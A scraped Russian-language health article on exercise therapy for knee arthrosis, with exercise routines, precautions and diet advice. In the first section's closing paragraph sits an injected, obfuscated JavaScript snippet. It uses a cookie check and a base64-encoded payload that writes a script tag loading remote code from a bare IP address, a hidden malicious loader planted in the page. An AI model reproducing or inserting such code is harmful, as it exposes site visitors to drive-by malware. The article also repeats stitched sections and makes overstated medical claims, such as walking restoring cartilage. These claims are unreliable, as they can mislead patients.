Как может лечебная физкультура помочь при артрозе коленного сустава

Основными тревожными моментами, при которых стоит начинать соответствующие физические упражнения, можно считать любой дискомфорт и появление странного хруста в области колена. Однако следует четко понимать, что перед тем, как приступить к ЛФК, стоит посетить врача, потому что самолечение может только усугубить ситуацию. Кроме того, существует ряд противопоказаний к применению подобных мер.

 Несколько дополнительных общих рекомендаций людям, страдающим артрозом коленного сустава

  1.  Даже на самых начальных моментах заболевания, кажущихся безобидными, не стоит чрезмерно нагружать колени.
  2. Крайне важна именно регулярность, а потому не стоит ждать результатов сию минуту.
  3. Любой комплекс упражнений стоит выполнять не меньше, чем три раза в сутки.
  4. В промежутках между процедурами ЛФК стоит отдыхать, при этом, ноги нужно держать прямыми, либо можно свешивать ноги с кровати и немного ими покачивать.
  5. Многие доктора советуют закрепить результат самостоятельным массажем коленного сустава. Достаточно несильно поглаживать колени и голени, слегка надавливая на них пальцами рук.
  6. В случае ограничения подвижности в области коленного сустава и боли, которая не отпускает в состоянии покоя, противопоказана физкультура стоя.

Таким образом, регулярные упражнения и самостоятельный массаж способны стать панацеей на начальном этапе развития артроза коленного сустава. Они не только помогут разработать колени и облегчить боль, но и отлично укрепят мышцы голени и бедер, а это не дает атрофироваться суставным мышцам. Кроме того, ходьба в чуть больших количествах, и вовсе является народным методом лечения данного недуга, нужно чаще совершать пешие прогулки. Это отлично нормализует кровообращение и даже восстанавливает хрящевую ткань в коленном суставе. Все эти нехитрые упражнения и увеличенные по времени прогулки, помогут избежать очень серьезных проблем. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Утренняя гимнастика

Упражнения, проводимые после ночи, занимают немного времени, что позволяет их выполнять даже перед рабочим днем. Гимнастику рекомендуется проводить сидя, по возможности спину нужно держать прямо или же опираться на подушки. Исходное положение ног – на ширине плеч. Каждый элемент выполняется не менее 30 секунд.

  1. Весьма эффективно сведение-разведение носков ног и колен, что следует выполнять в исходном положении, сопровождая сведение сгибом, а разведение прогибом спины. Подобное воздействие на организм дает возможность ускорить обменные процессы и устранить болезненность в области колен;
  2. Сгибание-разгибание колен, подтягивая ноги под себя с отрывом стоп от пола, заканчивая полным выпрямлением колен, является незаменимым упражнением, при помощи которого можно улучшить двигательную активность, предотвращая развитие осложнений патологии;
  3. Шаги вперед-назад с полным отрывом стоп от пола на счет «раз-два» — вперед, «три-четыре» назад. Исходное положение — стоя, стопы под кроватью, колени на мягкой опоре.

При помощи данной гимнастики можно укрепить мышцы в области колен и подготовить суставы к долгому дню. Это существенно снижает болевые проявления патологии и позволяет предотвратить возникновение трудностей при движении.

Лечебный эффект

Каждый комплекс важно начинать с самых несложных упражнений – для разминки, далее их порядок может быть любым. Легкие упражнения выполняйте попеременно с трудными, чтобы не перегружать коленные суставы, а после занятий не возникало мышечных болей. При появлении острой боли в глубине колена прекратите тренировки и покажитесь врачу.

  1. Ходьба на месте. Поставьте руки на пояс и маршируйте, стараясь поднимать колени повыше.

  2. Придерживаясь за опору, оторвите одну ногу от пола и выполняйте медленные сгибания и разгибания в колене с максимальной амплитудой. После 8–10 повторений смените ногу.

  3. Приподнимитесь на носках обеих ног и, не отрывая стопы от пола, встаньте на пятки, подняв носки как можно выше. Повторите 25 раз.

  1. Одновременно и по очереди сгибайте ступни, стараясь посильнее тянуться пальцами ног к себе. При этом вы должны ощущать сильное напряжение икроножных мышц. Повторите 10–15 раз.

  2. Всем известные “ножницы”: приподнимите над полом прямые ноги, немного разведите их и снова сведите, скрестив. После этого опять разведите и скрестите, чтобы сверху оказалась другая нога. Повторите 4–6 раз.

  3. Согните ногу и при счете “раз-два”, помогая руками, подтяните коленный сустав к животу. На счет “три-четыре” опустите ногу. Повторите 4–6 раз.

  4. “Велосипед”: согните ноги в коленных и тазобедренных суставах и имитируйте ими кручение педалей. Повторите 8–12 раз.

  5. Согните в коленях обе ноги и приблизьте стоящие на полу ступни к тазу. Медленно и плавно выполняйте махи голенями до полного разгибания колена. Повторите 8–14 раз каждой ногой.

Читайте также:  Лечение воспаления суставов по бубновскому

В работе колена принимают участие мышцы и связки всей нижней конечности. Основная задача коленного сустава – разгибание, сгибание и ротация голени относительно бедра. Они особенно эффективны при полусогнутом положении тазобедренного сустава. Со стороны голени в процессе активных движений задействованы портняжная и икроножная мышцы, а ротационные действия в согнутом состоянии достигаются за счет напряжения большеберцовой фасции.

Итак, в активной работе колена принимают участие следующие анатомические образования:

  1. Мышцы:
  • икроножная;
  • портняжная;
  • двуглавая;
  • квадрицепс бедра;
  • подколенная;
  • широкие – латеральная, медиальная и промежуточная.
  1. Связки:
  • крестообразные;
  • коллатеральные.
  1. Кости и суставы:
  • большеберцовые – большая и малая;
  • бедренная;
  • тазобедренный сустав.

Движения в колене – сложный процесс, охватывающий работу множества анатомических образований конечности. Повреждение любого участка цепи приводит к событиям, ведущим к формированию заболеваний коленного сустава.

Лечебная физкультура (ЛФК) самостоятельно не способна вылечить ни одну из болезней сустава. Но она помогает укреплению связок и мышц, что дает преимущества при комплексной консервативной терапии или после операции. ЛФК эффективно облегчает движения ног при артрозе, что особенно актуально для пожилых людей.

Десять лучших упражнений при артрозе коленного сустава

  1. Для выполнения первого упражнения – лечь на живот, ноги положить вместе, руки вдоль туловища. Плавно приподнять над полом прямую ногу на высоту 7-10 сантиметров и задержать ее в статическом положении, досчитав до тридцати. Движение проделать каждой ногой по одному разу. Следить за тем, чтобы обе ноги испытывали одинаковую нагрузку.
  2. Для второго движения положение остается прежним. Следующий этап – динамичная нагрузка: нога приподнимается и опускается на пол восемь раз, после чего движения повторяются другой ногой. Не нужно стараться поднять ноги слишком высоко, важнее не отрывать корпус от коврика, а двигать только конечностями.
  3. Третье упражнение потребует изменения исходного положения: нужно лечь на спину, одна нога должна быть полностью разогнута, вторую согнуть, подтянув стопу к ягодице. Движения выполняются согнутой ногой под углом девяносто градусов, поднимая ногу на высоту пятнадцать сантиметров и задерживая 10 секунд. Законченный комплекс насчитывает по 8 движений каждой ногой.
  4. Четвертое упражнение потребует некоторой выносливости. Лежа на спине, поднять прямые ноги на высоту 6-7 сантиметров и медленно развести их в разные стороны, после чего соединить вместе и опустить на пол. Упражнение тренирует не только мышцы нижних конечностей, но и нижней части живота. Движения повторяют шесть раз.
  5. Пятое движение выполняется лежа на боку. Нога, на которую опирается туловище, должна быть согнута в колене, а другая находится в выпрямленном состоянии. Приподнимать прямую ногу, отрывая ее на десять сантиметров от пола, и удерживать пять секунд, медленно опуская в исходное положение. Проделав семь таких повторений, перевернуться на другой бок и повторить движение другой ногой.
  6. Для шестого упражнения сесть на стул такой высоты, чтобы колени находились под прямым углом. Выпрямить одну ногу и задержать ее в на весу десять секунд, после чего опустить и повторить движение другой конечностью. Достаточно проделать по два повторения каждой ногой.
  7. Седьмое упражнение выполняется стоя, держать за опору перед собой. Оторвать пятки от пола, опираясь на пальцы и переднюю часть стопы, и задержаться в таком положении, досчитав до трех. Для завершения курса потребуется десять таких подъемов.
  8. Для восьмого движения положение не меняется. Упражнение заключается в отрыве пальцев и передней части стопы, опираясь на пяточную кость. Десять медленных подъемов стопы потребуется для завершения данного упражнения.
  9. Не меняя исходного положения, выполняем девятое упражнение, плавно и без резких движений перекатываясь с пятки на носок попеременно двумя ногами. Количество перекатов должно достичь десяти каждой конечностью.
  10. Для выполнения последнего, десятого, упражнения понадобится лечь на живот и выпрямить обе ноги. Поднимать пятку, сгибая колено как можно сильнее. Проделать по десять сгибаний каждой ногой.

Меры предосторожности

Лечебная гимнастика при деформирующем артрозе коленных суставов принесет только положительные изменения, если соблюдать данные правила:

  • проводить занятия только в период отсутствия очага воспаления (характерно для хронического артроза);
  • обязательное условие перед началом физических упражнений в домашних условиях — консультация специалиста (хирурга или ортопеда);
  • при усилении болевых ощущений во время занятий следует изменить интенсивность и степень нагрузки;
  • упражнения оздоровительной программы направлены больше на статику (положение выдерживается несколько секунд или минут), чем на динамику (непрерывная смена позиций);
  • запрещается стоять, опираться и передвигаться на коленной чашечке;
  • одежда не должна стеснять движений.
Меры предосторожности

В хронической стадии артроза болевые ощущения и скованность сочленений заметно выше, чем на начальной. Поэтому степень нагрузки и интенсивности занятий следует регулировать относительно клинической картины болезни.

Читайте также:  Питание при повреждении связок голеностопного сустава

Упражнения

Правильное выполнение назначенных умеренных упражнений дают нагрузку на мышечную ткань. Главное — не переусердствовать, чтобы не навредить здоровью. Гимнастика при артрозе коленных суставов предотвращает разрушительные процессы костей, способствует восстановлению двигательной активности суставов.

В комплекс упражнений для лечебного воздействия включают следующие виды упражнений:

Упражнения
  • В положении лежа на спине. Это самый распространенный вид упражнений, который назначается в период ремиссии на начальной стадии развития патологии и при тяжелой степени протекания заболевания.
  • В положении лежа на животе. Это эффективный метод предупреждения артроза, так как он способствует активной работе всех групп мышц.
  • В положении стоя. Включается активная работа всех сухожилий и мышц в коленном суставе.
  • В исходном положении сидя на стуле.
  • Упражнение с использованием специальных тренажеров.

На спине

Выполнять назначенный специалистом комплекс ЛФК можно в домашних условиях вместе с другими методами лечения заболевания. Хорошо работают мышцы при выполнении упражнений в положении лежа на спине.

  1. В лежачем положении на спине необходимо вытянуть ноги, согнуть сперва одно колено и постепенно приподнимать стопу, поддерживая ногу в течение семи секунд. Это же упражнение выполняется и другой конечностью.
  2. При этом же положении вытягиваем руки и поочередно поднимаем ноги.
  3. Согнуть ноги в коленях, попеременно поднимая их в таком положении.
  4. Машем максимально вытянутыми ногами.
  5. Делаем упражнение велосипед.
Упражнения

При выполнении подъема и удержании ноги область таза не должна быть в подвижном состоянии.

На животе

Хороший эффект дают упражнения при артрозе коленного сустава в положении лежа на животе.

  • С опущенными руками поочередно сгибаем ноги в колене.
  • Плотно прижимаем к полу таз и грудь и, напрягая мышцы бедра, выполняем подъемы прямой ногой.
  • Положить руки к лицу и совершать поднятие прямых ног вверх.
  • Постепенно приподнимите выпрямленные руки и ноги и старайтесь удержать в таком положении около минуты.
Упражнения
  1. Держась за спинку стула, постепенно приподнимайтесь на носочки и старайтесь продержаться в данном положении в течение одной минуты.
  2. В таком же положении необходимо встать на пятку и простоять в течение одной минуты.
  3. Держась за стул, выполняем поочередное отведение в сторону максимально ровных ног.
  4. В боковом положении машем прямыми ногами вперед и назад.

На стуле

Для коленного сустава хороший эффект дают упражнения, которые надо выполнять, сидя на стуле.

  1. Постарайтесь держать ровно правую ногу в колене и постепенно приподнимать ее. Поддержать на весу необходимо сустав в течение минуты.
  2. Разгибая ноги в коленях, вытягивать поочередно их вперед.
  3. Делаем выпрямительные движения ногами, придерживая колени ладонями.
  4. Сводим и разводим нижние конечности, не помогая руками.
  5. Делаем подъем коленей к животу, при этом чередуя ноги.
Упражнения

После выполнения любого упражнения необходимо обязательно делать пятиминутный отдых, а затем приступать опять к выполнению.

Общие рекомендации по лечению артроза коленных суставов

Независимо от степени развития заболевания и назначенной терапии, необходимо обеспечить условия, при которых лечение будет максимально эффективным и принесет ожидаемый результат. В первую очередь это касается изменения образа жизни пациентов с артрозом коленного сустава. Нужно обратить внимание на те факторы риска, которые присутствуют у пациента и проводить их настойчивую коррекцию.

Диета

Большое значение при гонартрозе отводится диетическим рекомендациям. Они обязательны к исполнению не только пациентами с избыточным весом и ожирением, поскольку включают в себя общие принципы рационального питания.

Чтобы сбросить вес, необходимо обратить внимание на ограничение приема животных жиров, углеводов, больше есть растительной клетчатки (овощи, фрукты, зелень), отдавать предпочтение крупам и молочным продуктам, употреблять достаточное количество жидкости.

Лечить артроз помогают продукты, содержащие коллаген и желатин (холодцы, студни, заливные блюда, желе, кисели). Нужно также заботиться о поступлении в организм витаминов C, D, группы B, минералов (кальция, фосфора).

Общие рекомендации по лечению артроза коленных суставов

Правильное питание – залог здоровья. Это не только хорошая профилактика болезней суставов, но и доступное средство борьбы с ними.

Снижение нагрузки на суставы

Повышенная нагрузка – главный фактор, который следует исключить при лечении артроза колена. И это следует сделать незамедлительно, поскольку, продолжая испытывать перегрузки, хрящевая ткань не сможет восстановиться, а деструктивные процессы будут усиливаться.

Программа борьбы с лишним весом включает в себя не только диету, но и адекватные физические нагрузки. Сначала может быть достаточно простой утренней зарядки, которая будет расширяться по мере возрастания степени тренированности.

Если артроз коленного сустава возникает у представителей рабочих профессий, то стоит подумать о переходе на другую работу с более легким трудом. Важным моментом станет использование трости, что особенно актуально для пожилых людей, страдающих гонартрозом.

ЛФК при артрозе колена

Физические упражнения при артрозе оказывают комплексное позитивное воздействие на суставы при гонартрозе. В отличие от медикаментозной и физиотерапии, лечебная физкультура применима только при стихании активного воспалительного процесса. Она имеет неоспоримое преимущество – под влиянием упражнений восстанавливается объем и амплитуда движений в суставах. Кроме того, наблюдаются и другие эффекты ЛФК при остеоартрозе:

  • Уменьшение боли.
  • Снятие спазма мышечных групп.
  • Повышение тонуса ослабленных мышц.
  • Улучшение микроциркуляции в тканях сустава.
  • Нормализация общего самочувствия, сна.
Читайте также:  Восстановление голеностопного сустава после травмы

Упражнения при артрозе коленного сустава эффективны при любой степени болезни. Их выполнение обеспечит переход заболевания в более легкую форму, а со временем и вовсе поможет забыть о ней.

Общие рекомендации по лечению артроза коленных суставов

Выполняя ЛФК при артрозе коленного сустава, нужно помнить о простых принципах, на которых она основана:

  • Осторожность воздействия: главное – лечить, но не навредить.
  • Регулярность выполнения: заниматься нужно каждый день.
  • Постепенность нагрузки: не спешите переходить к более сложным упражнениям.

На данный момент существует несколько методик выполнения лечебной гимнастики при артрозе коленного сустава. Выбрать наилучшую из них (по Евдокименко, Попову или др.) можно только после консультации с реабилитологом. Заниматься гимнастикой при артрозе колена следует под врачебным присмотром, чтобы правильно выполнять упражнения.

Комплекс упражнений

Лежа на спине:

  1. Поочередно сгибать ноги в колене, стараясь подтянуть пятку как можно ближе к ягодицам. Стопы остаются на полу. 2−10 раз каждой ногой.
  2. Прижмите поясницу к полу и поднимите ноги вверх. Согните правую ногу в колене, опустив пятку к ягодице. Выпрямите ногу так, чтобы она стала параллельной полу. Верните прямую ногу вверх. По 5−15 раз каждой ногой.
  3. Поднимите прямую ногу на несколько сантиметров от пола и удерживайте в течение 3−5 секунд. 2−20 повторений каждой ногой.

Лежа на животе:

  1. Сгибайте ноги, стараясь достать пятками ягодицы. Попеременно, затем вместе. До 50 повторений.
  2. Прямые ноги на ширине плеч. Натяните носки на себя, упритесь ими в пол и постарайтесь приподнять колени. Задержитесь на 3−5 секунд и расслабьтесь. 1−5 раз.
  3. Согните одну ногу в колене, стопа направлена в потолок. Совершайте медленные круговые движения по направлению и против часовой стрелки с максимально возможной амплитудой. По 10 раз в каждую сторону. Повторить с другой ногой. Отдыхайте лежа с прямыми ногами.

Гимнастика при артрозе коленного сустава: как делать правильно. Советы и рекомендации

В интернете существует описание множества комплексов гимнастики при артрозе коленного сустава. Но не всегда понятно как их выполнять. Существует ряд рекомендаций:

1) Болевые ощущения следует исключить. Если при выполнении какого-либо упражнения возникает боль, это прямой повод отказаться от дальнейшего выполнения. Значит комплекс не подходит.

2) Не стоит утруждать себя, прежде не проконсультировавшись с врачом.

3) Судороги после выполнения упражнений — это нормально.

4) Каждое упражнение выполняется 7-15 раз. Начинать рекомендуется с 2-4 раз, постепенно наращивая амплитуду.

5) Форсированными темпами начинать заниматься не рекомендуется. Это чревато.

ЛФК может стать отличным помощником в деле терапии артроза коленного сустава. Важно правильно подходить к столь ответственному делу.

Полезные ссылки:

Подготовка к ходьбе

Когда мышцы разогреты и адаптировались к нагрузке можно приступать к упражнениям стоя. Учитывая специфику заболевания, их не стоит выполнять без опоры. Так будет легче сохранить равновесие и не перегрузить сустав, когда придется поднять ступню в воздух. На руки можно и нужно опираться всем весом:

  1. Разминка. Нога на носочке вначале покачивается, чтобы мышцы привыкли к смене положения. Затем надо приступить к круговым вращательным движениям пяткой по и против часовой стрелки. Если мышцы быстро устают и подступает боль, необходимо менять ноги как можно чаще.
  2. Ходьба. Необходимо полностью перенести вес на руки и осторожно приступить к выполнению шагающих движений, аналогичных первому упражнению комплекса. Вначале они делаются на месте, а потом можно смещать ноги, переходя с носка на пятку.
  3. Растяжка. Нога отводится назад, ставясь на носочек. Колено немного сгибается. Мышцы тянуться за счет того, что пятка прижимается к полу. А затем ей делаются круговые движения, чтобы снять напряжение.
  4. Вращения. Это продолжение растяжки. Участвуют одновременно обе ноги. Одна двигается вперед, а другая в обратную сторону. При этом таз скручивается. Затем ноги расставляются широко и делаются перекаты, когда на одну ногу необходимо опереться, чтобы растянуть другую. По окончании упражнения необходимо походить на месте и порисовать пяткой круги.

При выполнении всех упражнений нельзя забывать о состоянии рук. Периодически надо давать отдых плечам, встряхивая верхние конечности и туловище.